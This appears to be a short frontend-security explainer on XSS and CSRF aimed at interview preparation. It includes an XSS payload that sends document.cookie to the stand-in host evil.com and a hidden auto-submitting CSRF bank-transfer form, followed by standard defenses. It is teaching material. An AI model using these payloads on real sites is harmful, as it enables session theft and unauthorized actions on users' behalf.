XSS and CSRF Explained — Frontend Security You Must Know

Two acronyms, two attack shapes, guaranteed interview material — and real responsibility once you ship code.

XSS — injecting script into your page

// your code:
commentDiv.innerHTML = userComment;

// attacker's "comment":
<img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
// now runs in EVERY visitor's browser: steals sessions, defaces, keylogs

Defenses:

• textContent for user data, never innerHTML (frameworks escape by default — that's why React JSX is safe until you use dangerouslySetInnerHTML)
• Escape on output server-side; httpOnly cookies so stolen JS can't read sessions
• Content-Security-Policy header as the safety net

CSRF — riding the user's logged-in session

<!-- on evil.com, invisible: -->
<form action="https://yourbank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
// the browser attaches the bank's cookies automatically → transfer succeeds

Defenses: SameSite=Lax cookies (modern default — blocks most CSRF), CSRF tokens in forms, and never mutating state on GET.

The one-line distinction

XSS runs attacker code on YOUR site; CSRF makes the USER's browser send requests you didn't intend. Name the defenses and the interview segment is done.